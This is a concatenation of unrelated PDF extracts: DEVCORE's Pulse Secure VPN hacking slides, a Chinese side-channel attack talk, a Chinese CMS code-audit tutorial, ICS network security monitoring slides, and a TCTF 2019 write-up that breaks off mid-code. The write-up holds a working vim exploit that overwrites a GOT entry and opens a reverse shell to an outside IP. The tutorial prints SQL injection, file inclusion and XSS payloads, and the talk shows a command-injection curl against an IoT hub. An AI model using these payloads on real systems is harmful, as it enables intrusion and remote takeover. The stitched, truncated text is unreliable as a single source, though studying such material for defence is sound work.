-r'$x="ls",system$x#'
2>/data/runtime/tmp/tt/setcookie.thtml.ttc
<
>/dev/null
2>&1
3
tcpdump: $x="ls",system$x#: No such file or directory
STDERR(2) > /data/runtime/tmp/tt/setcookie.thtml.ttc
/usr/sbin/tcpdump -d
-r'$x="ls",system$x#'
2>/data/runtime/tmp/tt/setcookie.thtml.ttc
<
>/dev/null
2>&1
tcpdump: $x="ls",system$x#: No such file or directory
boot bin home lib64
mnt
opt proc
sys usr
var
data etc
lib lost+found
modules pkg
sbin
tmp
...
curl https://sslvpn/dana-na/auth/setcookie.cgi
>_
Response from Pulse Secure
• Pulse Secure is committed to providing customers with the best Secure Access Solutions
for Hybrid IT- SSL VPN and takes security vulnerabilities very seriously
• Timeline:
• This issue was reported to Pulse Secure PSIRT Team on March 22, 2019
• Pulse Secure fixes all reported issues in short span of time and published the security advisory SA44101 on
April 24, 2019 with all software updates that address the vulnerabilities for unpatched versions
• Pulse Secure assigned the CVE’s to all reported vulnerabilities and updated the advisory on April 25, 2019
• Pulse Secure sent out a reminder to all customers to apply the security patches on June 26, 2019
• Pulse Secure would like to thank DEVCORE Team for reporting this vulnerability to Pulse
Secure and working toward a coordinated disclosure
Hacking Twitter
• We keep monitoring large corporations who use Pulse Secure
by fetching the exposed version and Twitter is one of them
• Pulse Secure released the patch on April 25, 2019 and we wait
30 days for Twitter to upgrade the SSL VPN
Twitter is vulnerable
$ ./pulse_check.py <mask>.twitter.com
[*] Date = Thu, 13 Dec 2018 05:34:28 GMT
[*] Version = 9.0.3.64015
[*] OK, <mask>.twittr.com is vulnerable
Two-factor authentication
• Bypass the two-factor authentication
1.
Although we can extract cached passwords in plaintext from
/lmdb/dataa/data.mdb, we still can not do anything :(
2. Observed Twitter enabled the Roaming Session (enabled by default)
3. Download the /lmdb/randomVal/data.mdb to dump all session
4. Forge the user and reuse the session to bypass the 2FA
Restricted admin interface
However
We only have the hash of admin password in
sha256(md5_crypt(salt, …))
$20,160
Make the red team more
Red
Weaponize the SSL VPN
• The old-school method
• Watering hole / Drive by download
• Replace SSL VPN agent installer
• Man-in-the-middle attack
Weaponize the SSL VPN
• The new method to compromise all VPN clients
• Leverage the logon script feature!
• Execute specified program once the VPN client connected
• Almost every SSL VPN supports this feature
• Support Windows, Linux and Mac
Demo
Compromise all connected VPN clients
Recommendations
• Client certificate authentication
• Multi factors authentication
• Enable full log audit (Be sure to send to out-bound server)
• Subscribe to the vendor's security advisory and keep system
updated!
Thanks!
@orange_8361
[email protected]
@mehqq_
[email protected] | pdf |
边信道攻击实战
Kevin2600
. Kevin2600
. 专注无线电; 嵌入式设备安全研究
. NewSky 安全研究员 + 安全培训讲师
. 坚信黑客精神就是不断探索未知领域
边信道的传说?
边信道的传说?
. Side-Channel 必须掌握很深的数学知识?
. Side-Channel 必须使用昂贵的硬件设备?
. Side-Channel 都有哪些实战中的运用？
. Side-Channel 作为小白该如何开始？
Contents:
• 边信道的那点事
• 边信道案例 – EM Leaking
• 边信道案例 – Timing Attack
• 边信道案例 – Fault Injection Attack
• 边信道案例 – Power Analysis & Glitch Attack
边信道的那点事
二战期间盟军的一名研究人员发现他的示波器经常有莫名
的噪音. 调查发现信号来源于隔壁房间的某台加密机. 在深
入研究后, 这名研究员成功地将被加密前的明文信息从噪
音中提取出来.
故事起源:
WHAT ?
边信道攻击是一种针对软件或硬件设计缺陷, 剑走偏锋的攻击方式
攻击途径通常采用被动式监听, 或通过特殊渠道发送隐蔽数据信号
攻击点不在暴力破解或算法分析, 而是通过功耗; 时序; 电磁泄漏等方
式达到破解目的. 在很多物理隔绝的环境中, 往往也能出奇制胜
WHY ?
. Public key signature check
. Bootloader 加固 (bootdelay = 0)
. 屏蔽调试端口 UART; JTAG; SPI; I2C
. 电子设备全部物理隔离 (Air Gapping)
HOW ?
. 简单功耗分析 (Simple power analysis)
. 差分功耗分析 (Differential power analysis)
. 需要通过明文或密文触发加密机制运行
. 需要知道用何种加密方式 (AES128; RSA; 3DES)
. 功耗数据提取必须在目标加解密的过程中
: 声波信号采集还原打印机原文
: 美国 NSA 电磁波监听 (TEMPEST)
: 功耗分析破解南韩公交卡密钥系统 (3DES)
: 功耗分析获取 Philipe Hue 智能灯系统密钥 (AES)
: 通过测量分析电磁发射获取 GnuPG 密钥信息 (RSA)
: 通过声波远程获取物理隔离网络中的数据 (Funtenna)
被动式:
: Xbox360 Glitch 攻击 (运行 unsigned code)
: 智能网关 Hue NAND Glitch (得到 Root 权限)
: 腾讯玄武激光发指令到二维码读取器 (Bad Barcode)
: 浙江 & Michigan 大学通过声波干扰视频监控硬盘存储
: 以色列 Ben-Gurion 大学通过 USB 发送电磁信号 (USBee)
: Osmo-fl2k 软件无线电发送 FM; GSM; UMTS 与 GPS 信号
主动式:
边信道案例 – EM leaking
电磁波 101
• 电磁波是电磁场的运动形态, 属于能量的一种
• 自身温度大于绝对零度物体, 都可以发射电磁波
• 电磁波应用广泛微波炉; 移动通信; 无线卫星通信
• 电子设备产生电磁波, 对无线电设备造成信号干扰
视频演示
电磁泄漏隐患
. 电子设备利用电磁波信号, 发射信息内容从而
泄漏机密 (Soft-Tempest)
. 电子设备电磁信号可被解码并还原, 达到远程
监控目的 (Hard-Tempest)
. 美国NSA 和北约组织制定安全标准, 要求对涉
密设备进行电磁屏蔽, 并严格限制泄漏电磁辐
射的强度
视频演示
电磁信号分析
. Tel Aviv 大学科研人员通过测量分析电磁发
射获取 GnuPG 密钥信息
. 电磁波可通过H探头和便宜的软件无线电
设备远程获取
. 芯片解密过程中执行的计算量不同, 所需电
量也不同
. 芯片01转换产生电磁波从空气中泄漏, 其
中包含密钥指纹信息
电磁注入
. EMP-Jammer 高能电磁场发射器 (危险!!!)
. 瞬间大量电流通过导体将产生高能电磁场
. 电磁注入将造成电子设备故障或意外惊喜 ;)
. 将设备放入塑料袋或铝箔包裹可防止电磁攻击
视频演示
边信道案例 – Timing Attack
密码比对
时序攻击
. 仅需普通示波仪即可完成攻击
. 密码位输错给予相对反应 (LED 灯亮）
. 不安全的函数 memcmp() (单字节比对)
. 密码位比对的时间越久, 猜中可能性越大
. 降低猜测空间 (6*6*6*6*6*6 = 46656 ) --> (6+6+6+6+6+6 = 36)
时序攻击
视频演示
边信道案例 – Fault Injection
Got Root?
网关 (WinkHub)
. 物联网设备网关 WinkHub (ARM; RAM; NAND)
. 完美的将不同产品连接在一起 (GE; Nest; Dropcam; Philips)
. 支持 Zwave (915Mhz); RF (433Mhz); WIFI/Bluetooth/Zigbee (2.4G)
已被厂家打了补丁 :(
通过网页对其进行访问 (set_dev_value.php)
curl “192.168.01/set_dev_value.php” -d “nodeId=a&attrId=; uname -a;”
Got Root ?
. NAND Flash 通常存储固件; Bootloader; 内
核以及root files
. 使用数据线在系统启动, 读取 NAND 内核
信息瞬间, 短接 I/O pin 以达到数据阻断目的
. 在正确的时间点, 阻止 Bootloader 读取正
确的内核数据从而进入 shell 模式
NAND-Glitch
Got Root !
视频演示
网关 (Philips Hue)
. 飞利浦 Hue 系列智能家居灯控解决方案
. 采用 Zigbee 作为 Hue 与灯泡的无线通讯协议
. 案例 1: Hue 网关可通过 NAND Glitch 方式 Rooting
. 案例 2: 通过功耗分析提取硬编码 AES 密钥, 绕过固件升级认证
Got Root !
. setenv bootdelay 3
. setenv security '$1$3vGNd7Q3$ISqFeo1VkmQV6nyriUV0V/'
. saveenv & reset
. HUE 默认 bootdelay 为 0, 且 root 哈希值都不同
. 在 U-Boot 启动读取内核信息瞬间短接 NAND SPI
视频演示
边信道案例 – Power Analysis & Glitch Attack
SPA - 简单功耗分析
. 1998年 Paul Kocher 等将功耗分析带入民众视野
. 处理器运行不同指令在功耗需求上也不近相同
. 寻找目标设备在特定时刻 (解密) 功耗图形的差异
. 安全 Bootloader-TinySafeBoot (密码错误 -->无限循环)
. RSA 进行平方和乘法运算时的功耗表现可被识别
DPA - 差分功耗分析
目标设备
测量方法
测量结果
DPA - 差分功耗分析
DPA - 差分功耗分析
DPA - 差分功耗分析
DPA - 差分功耗分析 AES-128
DPA - 差分功耗分析
Glitch - 毛刺注入
. Glitch 注入目的在于改变目标设备的设计初衷
. 通过打乱程序的正常流程, 绕过密码安全认证机制
. 使用EM; 激光; 热能; 噪音; 时钟; 电压等作为注⼊源
. 精确的Glitch注入时间点至关重要 (手动; SAD; 模式)
. Glitch 结果具有不可预测性, 错误可能导致设备 Reset
源代码 Linux-util-2.24
CTF 送分题
RHME 2016
视频演示
ChipWhisperer-Lite
. 由 Colin O'Flynn 设计制作, 学习 SCA 功耗分析
和毛刺注入神器
. 基于Python 跨平台开源软硬件项目 (Windows;
Linux; MacOS)
. 可用于时序或电压毛刺注入攻击测试, 产生
<2nS 的脉冲信号
. 通过 DPA 差分功耗分析破解诸如 RSA; AES;
3DES 等加密算法
总结:
• Kein System ist Sicher: 100% 安全的系统并不存在
• 剑走偏锋的边信道攻击威力无比, 硬件安全必备技能
• 无论多完美的加密算法, 实施过程中的百密⼀疏, 就会
导致系统安全完全崩溃
@Kevin2600
问题 ? | pdf |
代码审计
代码审计(一
一) 熊海
熊海cms V1.0
最近在学习代码审计，试着将这些东西记录下来，也是当做一种总结吧。今天我进行这款cms的代码审计叫熊海cms V1.0，它是一款小型的网站内容管
理系统，非常适合个人建站使用。因为年代久远了，所以这款cms漏洞还是比较多的，审计起来难度不难，非常适合我这种小菜鸡入门学习的。话不多
说，我们先来看看它的源代码目录分布吧。
admin//管理员后台
css//css样式
files//功能函数
images//图片文件
inc//配置信息
install//安装目录文件
seacmseditor//seacms编辑器
template//模板文件
upload//文件上传
index.php//网站入口
phpinfo.php//显示PHP的当前信息
使用说明.txt//使用说明
现在我们就大概清楚了它的目录信息，对它的目录结构有了大体掌握，现在我们就开始进行代码审计吧。这个cms靶场漏洞网上能找出一堆writeup，
所以我打算讲解一些不一样的东西。重分析，轻演示。这里我主要介绍代码审计思路，不会对每处漏洞都一一讲解，有兴趣的小伙伴就可以下载下来
细细审计。
代码审计常见方法
代码审计常见方法
1、通读全文代码
2、定向功能审计
3、敏感函数回溯
1、通读全文代码
、通读全文代码
首先我们打开熊海cms中的index.php文件:
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
在这里我们可以得知，它是先接收一个r参数然后用addslashes函数进行过滤，然后再跳转到r.php文件，变成files/$file.php。如果为空的话，则包含
files/index.php。这样的话，我们在这里就很清楚的知道，这里就是一个很经典的包含漏洞，r参数只是经过了addslashes函数进行过滤(几乎相当于没
过滤)后被incluede包含。同时因为在当前目录下有就存在phpinfo文件，我们可以直接在url输入?r=../phpinfo，可以发现程序产生了文件包含漏洞。
http://127.0.0.1:9999/?r=../phpinfo
然后我们根据它的正确思路，接着我们应该是跳转到file目录下的index.php文件。
<?php
require 'inc/301.php';
require 'inc/conn.php';
require 'inc/time.class.php';
$query = "SELECT * FROM settings";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$info = mysql_fetch_array($resul);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php echo $info['title']?></title>
<meta name="keywords" content="<?php echo $info['keywords']?>" />
<meta name="description" content="<?php echo $info['description']?>" />
<meta name="version" content="seacms V1.0.0310" />
<?php require 'template/header.php';?>
<div class="barn">
<div id="body">
<div id="imgtext">
<strong>Oh,Perfect</strong>
<span>个人免费开源程序倡导者</span>
</div>
<img src="images/banner.jpg">
</div></div>
<div id="body">
<div class="div1">
<div class="toutiaoimg">
<?php
$query = "SELECT * FROM content WHERE images<>'' AND xs=1 ORDER BY id DESC LIMIT 1";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$toutiaoimg = mysql_fetch_array($resul);
?>
<a href="?r=content&cid=<?php echo $toutiaoimg['id']?>" title="<?php echo $toutiaoimg['title']?>"><img src="<?php echo $toutiaoimg['image
</div>
<div class="toutiao">
<?php
$query = "SELECT * FROM content WHERE toutiao=1 AND xs=1 ORDER BY id DESC LIMIT 5";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$toutiao = mysql_fetch_array($resul);
?>
在这里我们可以看到它是夹带着inc/301.php、inc/conn.php、inc/time.class.php这三处文件，我看了一下没有什么敏感操作，忽略不看。其次我们发
现这前面一大段也是div标签也快速跳过，之后我们可以明显看见一个关键点
href="?r=content&cid=<?php echo $toutiaoimg['id']?>"
进行它进行了a标签的跳转，利用index.php的参数r=content，说明这里也是夹带着content.php文件，这时候我们再来跳转分析。
<?php
require 'inc/conn.php';
require 'inc/time.class.php';
$query = "SELECT * FROM settings";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$info = mysql_fetch_array($resul);
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM content WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$content = mysql_fetch_array($resul);
$navid=$content['navclass'];
$query = "SELECT * FROM navclass WHERE id='$navid'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$navs = mysql_fetch_array($resul);
//浏览计数
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
@mysql_query($query) or die('修改错误：'.mysql_error());
?>
<?php
$query=mysql_query("select * FROM interaction WHERE (cid='$id' AND type=1 and xs=1)");
$pinglunzs = mysql_num_rows($query)
?>
再这里我们可以看到,它get方式获取的cid参数使用了addslashes方法简单地过滤赋值给id变量，然后再代入sql语句操作。这就可以存在注入的可能性
了，因为你只是用addslashes简单过滤一下，会不会存在绕过的可能性呢。
$query = "SELECT * FROM content WHERE id='$id'";
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
这里我们可以找出两处$id代入sql语句中查询，很明显我们可以看到，下面没有将双引号包裹update语句可以更好地注入，不用考虑引号闭合的问题。
这里我们可以使用经典的updatexml报错语句进行测试。
http://www.xy.com:9999/?r=content&cid=1 and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
这里只是简单测试，后面注入过程你们一一尝试。
之后我们继续往下审计，发现下面
<div id="plbt"><strong>→ 和谐网络，文明发言！</strong>发表评论：</div>
<form name="form" method="post" action="/?r=submit&type=comment&cid=<?php echo $id?>">
<input name="cid" type="hidden" value="<?php echo $id?>"/>
<ul>
<li><span>昵称</span><input name="name" type="text" value="<?php echo $_COOKIE['name']?>" /></li>
<li><span>邮箱</span><input name="mail" type="text" value="<?php echo $_COOKIE['mail']?>"/></li>
<li><span>网址</span><input name="url" type="text" value="<?php echo $_COOKIE['url']?>"/></li>
<textarea name="content" cols="" rows=""></textarea>
<input name="save" type="submit" value="提交" id="input2"/>
<div id="code"><span>验证码</span><input name="randcode" type="text" /> <span id="yspan"><img src="../inc/code.class.php" onClick="this.src=th
</div>
<div id="xx">
<span><input name="jz" type="checkbox" value="1" checked="checked"/> 记住我的个人信息</span>
<span><input name="tz" type="checkbox" value="1" checked="checked"/> 回复后邮件通知我</span>
</div>
在此处我们看见表单请求跳转提交到了submit.php当中,我们接着它进行分析。
查询用户头像数据
$query = "SELECT * FROM interaction WHERE( mail = '$mail')";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$tx = mysql_fetch_array($result);
if (!mysql_num_rows($result)){
$touxiang = mt_rand(1,100);
}else{
$touxiang = $tx['touxiang'];
}
这处我们依旧可以看到，这里的main参数也是没有进行过滤，直接代入到sql查询语句，存在注入点。这里就不演示重复了。
这里我们使用了通读全文代码的方法，从index.php作为入口，一步步代码审计追溯跳转，在其后的file目录下index.php->content.php->submit.php，
跟进它调用的函数和文件，一步步理清它的整体框架思路。下面我们来看看第二种代码审计的方法。
2、定向功能审计
、定向功能审计
这里我们就以admin管理员目录作为栗子。
首先我们先来到了login.php(登陆模块)，一般的话我们后台管理员登陆模块，常见注入都是sql注入、xss、越权访问等。我们就是针对这些功能模块，
定向地查找它功能常见可能出现的漏洞。
在admin目录index.php中，我们发现它包含着/inc/checklogin.php配置文件。
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
这是检测管理员登陆模块的inc配置，对cookie的user参数进行判断，若admin参数为空，则跳转到login.php页面。这样的话，我们就很好继续利用
了，我们随便在一个admin管理员权限的页面wzlist.php，burpsuite抓包在cookie中添加user参数即可，从而进行越权漏洞的访问。
之后我再真正返回login.php页面，看不看会不会也存在后台登陆常见出现的sql注入的漏洞呢。
<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$users = mysql_fetch_array($result);
if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('抱歉，用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉，用户名或者密码错误。');history.back();</Script>";
exit;
}
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>
分析得知,此处是先用post方式提交接收我们传递的参数，提交的user参数没有进行任何过滤带入sql语句进行查询，同时用户名存在才继续对password
继续进行检测。这里我们很明显存在了post的sql注入，但我们常说的万能密码在这里却是无效的。
if(md5($password)<>$passwords)
原因就出现在这个语句当中,它先对我们的传递的password参数进行MD5散列值计算，然后将这串MD5散列值放入到后台数据库进行检验核对，所以我
们常用的万能密码是无效的。不过我们却可以通过报错注入来进行检测测试。
1' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) #
在这里，我们对admin登陆功能模块进行特定功能点尝试，后台登陆功能常常出现的sql注入和越权访问都一一检测成功。
3、敏感函数回溯
、敏感函数回溯
根据敏感函数来追踪函数使用传递的过程，逐一溯源进行分析。这也是很多人喜欢使用的一种方法，因为我们很多常规漏洞都是因为使用敏感函数不
当所造成的的。
因为在前面我们审计过程中，发现很多漏洞都是addslashes函数使用不当过滤不充分所造成的，这里我就直接使用全局搜索来查找addslashes函数出
现的位置，然后对其逐一分析。
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
}
}
?>
这里我们找到了一处在路径\files\contact.php中，点击查看之后分析，这里的$page参数只是仅仅进行了特殊字符转义，然后直接代入以下的html代码
里。此处我们可以构造xss代码来进行反射型xss。
这篇文章主要是以熊海cms为例，使用三种常见代码审计方法，让大家了解代码审计的思路分析，选择适合自己的代码审计方法。第一次写这种文章，
写的不好请多多谅解~~~ | pdf |
NSM 101 for ICS
About me
Chris Sistrunk, PE
Electrical Engineer
Sr. ICS Security Consultant
– Control system security assessments
– ICS Village (DEF CON & RSA Conference)
Entergy (11+ years)
– SCADA Engineer (10 years)
– Project Robus (ICS Protocol Fuzzing)
• 30+ implementation vulnerabilities in DNP3 stacks
– Substation Security Team
BSidesJackson
What happens when you use nmap
or a fuzzer on an ICS?
If ICS are so vulnerable,
why haven’t we seen
more attacks?
We aren’t looking!
Two Key Reasons
Intent
Visibility
Intent
Very little ICS targeted attack data
Maroochy Shire to Stuxnet to German Steel Plant
Why are targeted attacks different?
It’s a “Who” not a “What”
Professional, organized, well-funded
If you kick them out, they will return
Visibility
Visibility
Public ICS Vulnerabilities Per Year
If your ICS gets hacked…
gadgets
water
electricity
you can’t make
anymore
Now what?
More Gov’t security regulations
ICS security still lagging
Breaches are inevitable
Attacks aren’t stopping
Every sector
Including ICS
What can we do to get ahead of this???
Network Security Monitoring
“The collection, analysis, and escalation of
indications and warnings to detect and respond
to intrusions. NSM is a way to find intruders on
your network and do something about them
before they damage your enterprise.”
- The Practice of Network Security Monitoring
Network Security Monitoring
Invented in 1990, still in use today
Cliff Stoll
“Stalking the
Wily Hacker”
1988
Todd Herberlein
et al.
“A Network
Security
Monitor”
1990
US Air Force
Defense
Information
Systems Agency
Lawrence
Livermore
National Lab
Early 1990s
NetRanger
RealSecure
Snort
and many
others
Late 1990s -
early 2000s
Formal
definition of
NSM
2002
Before we start looking…
We need
At least one person (to watch and hunt)
The right tools to collect and analyze the data
The NSM Cycle
Collection
Detection
Analysis
Model for action, based on
network-derived data
Requires people and process,
not just technology
Focuses on the adversary,
not the vulnerability
Methods of Monitoring
Network tap – physical device which relays a
copy of packets to an NSM sensor
SPAN or mirrored ports – switch configuration
which sends copies of packets to a separate port
where NSM sensor can connect
Host NIC – configured to watch all network traffic
flowing on its segment (usually on NSM sensor)
Serial port tap – physical device which relays
serial traffic to another port, usually requires
additional software to interpret data
Fluke Networks
Stratus Engineering
Types of Data Collected
Full content data – unfiltered collection of packets
Extracted content – data streams, files, Web pages, etc.
Session data – conversation between nodes
Transaction data – requests and replies between nodes
Statistical data – description of traffic, such as protocol
and volume
Metadata – aspects of data, e.g. who owns this IP
address
Alert/log data – triggers from IDS tools, tracking user
logins, etc.
Difficulties for NSM
Encrypted networks
Widespread NAT
Devices moving between network segments
Extreme traffic volume
Privacy concerns
Issues that most ICS do not face!
Example ICS
Enterprise/IT
DMZ
Plant
Control
Web
Historian or
other DB
DCS
Historian
HMI
PLCs,
Controllers,
RTUs, PACs
Anatomy of an Attack
20
Over all Mandiant attack investigations,
only a little more than half of victim computers have malware on them.
While attackers often use malware to gain an initial foothold,
they quickly move to other tactics to execute their attacks.
Unauthorized Use
of Valid Accounts
Known &
Unknown
Malware
Command &
Control Activity
Suspicious
Network Traffic
Files Accessed by
Attackers
Valid Programs Used
for Evil Purposes
Trace Evidence &
Partial Files
Attacker Objectives
Attacker’s goals:
Damage equipment
Affect or steal process info
Cause safety or compliance issue
Pivot from vulnerable ICS to
enterprise
Attacker’s options:
Gain physical access to an ICS host
Gain remote access to an ICS host
Compromise a highly-privileged
client machine with access to the ICS
network
Enterprise/IT
Plant DMZ
Control
Web
Historian or
other DB
SCADA
Historian
HMI
PLCs,
Controllers,
RTUs, PACs
Let’s do some NSM!
Let’s do some NSM!
Inquisitive mind
NSM collection tools
NSM hunting tools
Protection
NSM Collection
Firewall Logs
Session Data
NIDS/HIDS Logs
Full packet capture
Windows Logs and syslog
SNMP (CPU % etc.)
Alerts from security agents
(AV, whitelisting, etc.)
Enterprise/IT
Enterprise technology collectors
Logs and/or Agent
Network sensors
Logs only
Plant DMZ
Control
Web
Historian or
other DB
SCADA
Historian
HMI
PLCs,
Controllers,
RTUs, PACs
NSM Collection
http://3.bp.blogspot.com/-B6PtheVJ9Jg/Uj4EErYhHdI/AAAAAAAAAFE/i_2dk9emrp4/s1600/Deer+tracks.jpg
What are we looking for?
Exceptions from baseline (e.g. A talks to B but never C)
“Top Talkers”
Unexpected connectivity (to Internet, Business network)
Known malicious IPs and domains
Logins using default accounts
Error messages that could correlate to vulnerabilities
Unusual system and firewall log entries
Host-based IDS or other security system alerts
Unexpected file and firmware updates
Antivirus alerts
And others….
NSM Detection & “Hunting”
Analyst looks at detected anomalies
or alerts then escalates to IR
!
IDS alerts
Anomaly detection
Firmware updates, other commands
Login with default credentials
High CPU or network bandwidth
Door alarms when nobody is
supposed to be working
Devices going off-line or behaving
strangely
Plant DMZ
Control
Web
Historian or
other DB
SCADA
Historian
HMI
PLCs,
Controllers,
RTUs, PACs
NSM Detection
http://www.buckmasters.com
http://www.jimyuskavitchphotography.com/data/photos/56_1wolf_track4.jpg
NSM Analysis
Incident responders analyze the
detected anomalies to find evil
Application exploitation
Third-party connections (ex. ICCP or
vendor access)
ICS-specific communication protocol
attacks (ex. Modbus, DNP3, Profinet,
EtherNet/IP)
Remote access exploitation
Direct network access due to poor
physical security
USB-delivered malware
Plant DMZ
Control
Web
Historian or
other DB
SCADA
Historian
HMI
PLCs,
Controllers,
RTUs, PACs
NSM Analysis
http://alistairpott.com/wp-content/uploads/2008/05/rabbit-owl.jpg
http://www.youtube.com
ICS NSM Examples
Session Data “Top Talkers”
FlowBAT characterizes Session Data, showing which nodes have the most traffic
Web traffic
Web traffic
NetBios
NTP
SiLK and FlowBAT can be easily
installed in Security Onion
Pcap Analysis for anomalies
NetworkMiner can find potential ARP spoofing (as well as many other indicators)
Pcaps - Abnormal DNS Traffic
NetworkMiner sees“strange” DNS requests originating from within the ICS
IDS alerts - Abnormal DNS Traffic
DNS requests shown in the Bro IDS log in ELSA
Pcaps - Malformed Modbus
Deep packet inspection of Modbus by Wireshark
IDS Logs
Bro IDS
– DNP3 & Modbus
– More ICS protocols being developed by UIUC
Snort IDS
– DNP3 & Modbus preprocessors
– ET SCADA & DigitalBond Quickdraw Snort rules
Suricata IDS
– New DNP3 parser & ET SCADA rules
IDS Logs
Modbus
DNP3
Bro IDS parses Modbus and DNP3 packets, ELSA consolidates Bro logs
IDS GUIs
Alerts in Sguil of scanning activity
Syslog
Syslog can be configured to send to a NSM sensor or detected in
network traffic if sent elsewhere. This is the Bro IDS Log for
Syslog from an RTU.
RTUs with Syslog
• SEL-3530 RTAC
• GE D20MX
• Novatech OrionLX
• Cooper SMP 16
If not…require syslog and other logs in the ICS
procurement language
NSM Tools for the 7 Data Types
Security Onion Linux distribution
– Easy to install and lots of documentation
Full packet capture –
Tcpdump/Wireshark/NetworkMiner
Extracted content – Xplico/NetworkMiner
Session data – Bro/FlowBAT
Transaction data – Bro
Statistical data – Capinfos/Wireshark
Metadata – ELSA (Whois)
Alert data – Snort, Suricata, Sguil, Snorby
Peel Back the Layers of Your Network
Security Onion Tools
NetFlow Tools
SiLK & FlowBAT
Install on Security Onion with 2 scripts
www.flowbat.com
Security Onion Implementation
Test in a lab first
Select suitable hardware platform
More RAM is better
Bigger hard drive is better (longer retention)
Mirrored/SPAN port on router/switch or a good
network tap
Select proper placement of SO sensor
The Practice of Network Security Monitoring
Applied Network Security Monitoring
Work with the right stakeholders if placing in
production
SO for ICS = Security Ogre
The Cuckoo’s Egg by Cliff Stoll
https://www.youtube.com/watch?v=EcKxaq1FTac
1-hour NOVA Special (1990)
The Practice of Network Security Monitoring
by Richard Bejtlich
http://www.nostarch.com/nsm
Applied Network Security Monitoring
by Chris Sanders & Jason Smith
http://www.appliednsm.com/
The NSM Wiki http://nsmwiki.org
http://securityonion.net
NSM References/Resources
Takeaways
You can implement NSM in ICS
today – without impacting your
operations
There are free tools available to
help you start looking at your ICS
and hunting for evil
People…
…the most important part of NSM!
Gigabytes of data and 1000s of
IDS alerts are useless without
interpretation
Analyze data collected to understand
what’s normal – and what’s not
Identify adversary TTPs and act to disrupt them
Remember
Adversaries are a “Who”, not a “What”
Find Evil
[email protected]
@chrissistrunk | pdf |
TCTF 2019
TCTF 2019
PWN
vim
zerotask
plang
Reverse
Elements
Fixed Point
sanitize
Web
Ghost Pepper
Wallbreaker Easy
Crypto
babyrsa
MISC
flropyd
Neuron Break
http://ctf.0ops.sjtu.cn/ 23 March 2019, 06:00 UTC — 25 March 2019, 06:00
UTC Nu1L
PWN
vim
a
stepperm_state_Tbuffer
freegotbufferfreegot
system
from pwn import *
from hashlib import sha256
import string
import sys
system = 0x004C9163
free_got = 0x8a8238
# cmd = "bash -c 'bash&>/dev/tcp/111.230.94.113/6666<&1';"
# # cmd = 'cat /flag | nc 111.230.94.113 88;'.ljust(0x4f) + p64(system)
# cmd = "echo 1 | nc 111.230.94.113 88\x00".ljust(0x2f) + p64(system)
# cmd += p64(0x4036b0) + p64(0x4036c0) + p64(0x4036d0) + p64(0x4036e0) +
p64(0x4036f0) + "\x00"
# cmd = cmd.ljust(0x82-0x20)
# cmd = cmd[::-1]
# context.endian = 'big'
# ss =
'VimCrypt~04!\xff\xff\xff\x9e0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM
NOP'
# ss = ss.replace('lmnopqrs',p64(free_got-0x30))
# ss = ss.replace('tu','\x73u')
# for i in cmd:
# ss += i
# for i in range(0x26,0x30):
# ss += chr(i)
# ss = ss.ljust(0x300)
# for i in range(0,0x21):
# ss += chr(i)
# for i in cmd:
# ss += i
# for i in range(0x83,0xff):
# ss += chr(i)
# ss = ss.replace('\xb6',' ')
# ss += '.'
# ss = ss.replace('d8d9dadbdcdddedf'.decode('hex'),p64(free_got-0x30))
# second
cmd = "bash -c 'bash&>/dev/tcp/111.230.94.113/66<&1';"
# cmd = ';cat /f* | nc 111.230.94.113 88\x00' + p32(system)*2
# cmd = cmd.ljust(0x26+10,"\x00")[::-1]
free_got = 0x8a8238
system = 0x004C9163
context.endian = 'big'
ss =
'VimCrypt~04!\xff\xff\xff\x9e0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM
NOP'
ss = ss.replace('lmnopqrs',p64(free_got-0x30))
ss = ss.replace('tu','\x7cu')
# for i in cmd:
# ss += i
for i in range(0+6,0x12):
ss += chr(i)
cmd = cmd.ljust(0x41-0x12,'A')
print 'exec cmd,',cmd
cmd = cmd[::-1]
for i in cmd:
ss += i
ss = ss.ljust(0x8f,' ')
print hex(len(ss))
ss = ss.replace('\n\x0b\x0c\r\x0e\x0f\x10\x11',p64(system))
eee = ss
open('test','wb').write(ss)
# sys.exit(0)
# 111.186.63.13:10001
sset = string.ascii_letters+string.digits
print sset
def get_solution(chal, ss):
print repr(ss)
print repr(chal)
for i in sset:
for j in sset:
for k in sset:
for l in sset:
sol = i + j + k + l
zerotask
nc 111.186.63.201 10001 http://111.186.63.17/zerotask.zip
crypt
Go2sleep CIPHER_CTX
CIPHER_CTXUAF
if sha256(sol + chal).hexdigest() == ss:
